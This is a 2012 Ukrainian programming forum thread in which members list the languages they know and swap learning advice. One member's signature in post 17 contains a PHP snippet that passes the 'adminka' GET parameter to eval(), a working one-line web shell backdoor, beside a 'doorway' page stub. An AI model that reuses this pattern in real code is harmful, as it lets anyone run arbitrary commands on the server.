Тема: Скільки мов програмування ви знаєте?

Ну хто, які знає?

Подякували: Replace1

2

Re: Скільки мов програмування ви знаєте?

ніодної=(((

Re: Скільки мов програмування ви знаєте?

Йой, я й зовсім забув написати, що трішки знаю php і shell

4 Востаннє редагувалося d4rkc10ud (01.09.2012 20:36:02)

Re: Скільки мов програмування ви знаєте?

Пишу на х86/x86-64 асмі (MASM32, FASM), трохи знаю асм для 8051/AVR мікроконтроллерів
також знаю сі різних видів (Visual C++, MinGW, Pelles C, DJPP), але плюсами майже не користуюся, бо по-перше погано знаю, по-друге ООП підхід не завжди виправданий.
З вебу знаю трохи PHP
Деякі компілятори в мене зайняли свою нішу: AutoIT (автоматизація дій і робота з браузером), PureBasic (невеликі програми і створення GUI).
Мрію вивчити Python та CommonLisp

Світ врятують краса та масові розстріли
Лепей жывы сабака, чымся здохлы леў
Хто до нас із томагавком прийде, той од томагавка і томагавкнеться

5

Re: Скільки мов програмування ви знаєте?

Все залежить від того, що означає знати мову програмування.

Подякували: Patron, Voron2

6

Re: Скільки мов програмування ви знаєте?

Використовую c++, java, php, javascript. Не можу сказати що досконало знаю хоч одну із них. Суть не в тому щоб "знати" мову програмування а в тому щоб вміти вирішувати за допомогою неї реальні завдання.

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }
Подякували: Invader1

7 Востаннє редагувалося Replace (01.09.2012 23:39:04)

Re: Скільки мов програмування ви знаєте?

Ок, я теж напишу...

Java:
Java - десктопну програму без проблем напишу. Писав колись власний блокнот на Java та чат з сервером та клієнтами з можливістю реєстрації і т.п.
Java Android - теж є досвід. Щось простеньке точно зроблю.
Java сервлети, jsp і подібні речі - багато читав про це і писав чимало коду. Хотів йти на роботу в цьому напрямку, але не склалось.

C#
Десктопні програми з використанням .net без проблем. Теж писав власний блокнот, а також прогу яка індексує всі файли і потім виконує швидкий пошук по ним. Щось з використанням мережевих технологій писав, але вже не пам'ятаю. Закинув із-за переходу на нормальну операційну систему.

Python
Дуже подобається ця мова. Все так елегантно та чисто. Зараз активно вивчаю. Пишу різноманітні штуки для автоматизації, парсери, збір різноманітних статистичних даних. Потроху розбираюсь з Django та PyObjC

Pascal/Delphi
Вчив у ліцеї/ВУЗі. Власне перші мови програмування. На Delphi написав свою першу маленьку гру та різні штуки по навчанню...

C/C++
Розбирався з ООП на C++, графікою OpenGL. Прикольні речі писав, серед яких аналізатор тексту (до якої тематики віднести, наприклад, спам чи то програмування) на основі статистичного аналізу, дуже простеньку предметнорієнотовану СУБД на C (з індексами, власною мовою запитів). Також багато реалізацій із області комп'ютерних систем штучного інтелекту.

Common Lisp
Прості речі напишу. Не дуже багато досвіду :)

Prolog, Visual Prolog
Реалізував алгоритм на пролозі для обходу лабіринту та подібні речі. На Visual писав програму для генерації кросвордів з вже готовим код для генерації (власне розбирався з GUI і т.п.)

PHP
Використовую по роботі дуже багато. Переписав велику кількість openCart, кілька проектів на CodeIgniter, сніпети в ModX та ін.

Javascript
По роботі теж в основному використовую. Писав колись міні-інтернет магазин на JavaScript для дилерів одніє компанії. Мобільні сайти..

Assembler
Багато читав. Є 2 книги по асму у власній бібліотеці. Писав колись дуже простий компілятор для асму та інші прості консольні проги на асмі. Розбирався з захищеним режимом і т.п., але все забув :)

Ще трохи знаю shell та basic.
Вивчав VHDL, якщо хтось знає що це :)

P.S. Забув написати про Ada. Кілька прог написав з семафорами та м'ютексами. Взагалі мова сподобалась, шкода що вона не популярна. ))
P.S.2. Писав ще плагіни для Morrowind. Там була власна скриптова мова, не пам'ятаю як вона називається.
P.S.3.  Ще програмував карти для Heroes 4 (там теж своя скриптова мова), тоді в принципі і почав захоплюватись програмуванням..

Хух, коли написав це все, трохи легше стало..

Подякували: Vo_Vik, Supreme, AlterGB3

Re: Скільки мов програмування ви знаєте?

Нічого собі...

9

Re: Скільки мов програмування ви знаєте?

Replace, а чого так багато мов перепробував?
шукав свою одну найкращу чи що?

10

Re: Скільки мов програмування ви знаєте?

Багато що в універі вчив.
А взагалі цікаво було все перепробувати. "Чим більше мов ти знаєш, тим більше у тобі свободи" :)

11

Re: Скільки мов програмування ви знаєте?

Replace написав:

"Чим більше мов ти знаєш, тим більше у тобі свободи" :)

більше свободи?
ну незнаю, все зразу, каша в голові...

хочеться звісно все попробувати,але ліпше довбати кілька основних=)

Подякували: Replace, Patron2

12

Re: Скільки мов програмування ви знаєте?

Я забув ще написати таку штуку як Squeak. Присвятив десь місяць на ознайомлення і дуже сподобалась ця мова. Дуже раджу початківцям для освоєння ООП і програмування у цілому.

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }

13 Востаннє редагувалося alex6 (08.09.2012 22:00:12)

Re: Скільки мов програмування ви знаєте?

Каша в голові якщо все одразу вчити. А коли одну мову вивчив, а потім іншу, то все нормально.

Stay Hungry Stay Reckless

14

Re: Скільки мов програмування ви знаєте?

Я добре знаю лише одну мову: Delphi/Pascal. Іще розумію C/C++, Java, C#, PHP, JavaScript, Bash. Якщо дуже треба, то можу щось на них написати. Іще думаю було б непогано вивчити асемблер. Але узагалі вивчити нову мову, то справа кількох днів, якщо вона знайомого типу. Набагато важче вивчити якийсь фреймворк, наприклад .Net, Qt чи той самий VCL. Плюс до того іще потрібні знання в області алгоритмів і архітектури (патерни програмування), та купа різноманітних технологій типу Unit testing, Version control, DB/SQL, 3D/DirectX/OpenGL і таке інше.

Подякували: Replace1

15

Re: Скільки мов програмування ви знаєте?

Patron написав:

Я забув ще написати таку штуку як Squeak. Присвятив десь місяць на ознайомлення і дуже сподобалась ця мова. Дуже раджу початківцям для освоєння ООП і програмування у цілому.

Що то за мова така?
Перший раз чую...

16

Re: Скільки мов програмування ви знаєте?

Hanter написав:
Patron написав:

Я забув ще написати таку штуку як Squeak. Присвятив десь місяць на ознайомлення і дуже сподобалась ця мова. Дуже раджу початківцям для освоєння ООП і програмування у цілому.

Що то за мова така?
Перший раз чую...

Я й не думав що всі про неї чули, вона була створена на основі мови SmallTalk котра виникла ще 1970 році, а мова SmallTalk та Сімула це "батьки" усіх оопшних мов. Короче SmallTalk (Squeak) заклав основи усіх основних концепцій ооп.
Серія навчальних відеороликів про squeak smalltalk.

Щоб зрозуміти рекурсію потрібно спочатку зрозуміти рекурсію.
int fac(int n) { return n < 2 ? 1 : n*fac(n-1); }

17

Re: Скільки мов програмування ви знаєте?

Трішки знаю С++(була 1-ю мовою програмування яку спробував вивчити, читав книжку Стівена Прата, було в технікумі).
Можу щось таке більш-менш написати на PHP & JavaScript.
Знайомий із Python та Pascal.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

18

Re: Скільки мов програмування ви знаєте?

Ну, нарешті коли я вже почав розбиратись з метакласами, я нарешті можу сказати що знаю Python на 70%. Ще б вивчити корутіни, і взагалі буде норм.

Читаю і навіть бувало іноді писав на Pascal/Delphi, C (всякі там розріджені матриці і операції над ними) / C++ (шпільки в 3D на OpenGL), С# (шпільки з XNA) і PHP (форум на голому коді і mysql базі даних).

Можу щось на JavaScript збацати, бо шарю замикання. Не шарю ООП, якщо там забагато наслідування, хоча прототипи для об'єктів бувало прописував.

Lisp я поки що не читаю, і не пишу, але все дуже хочеться. Ну бо одного map, reduce, filter, apply, eval мені мало. Хоча простенькі функції можу створити.

Ще вчора "вивчив" awk. Awk це трошки потужніша штука за grep, і всім хто працює з різними логами раджу.

Почав було вікіпідручник по Ruby, але зрозумів що це той самий Python тільки інший і забив.

А ще думаю чи не поринути в Haskell або Clojure.

Подякували: Replace1

19

Re: Скільки мов програмування ви знаєте?

пітон міміммі
тіки по професії я гавнокодер на пхп, ех :(

pew pew :D
Блоґ

20

Re: Скільки мов програмування ви знаєте?

Знаю php, але ще не вмію добре застосовувати ООП...

З БД: MySql & MongoDB
Вчу python & JS/Jquery.

Ну Pascal не в рахунок, бо не вважаю його мовою програмування :D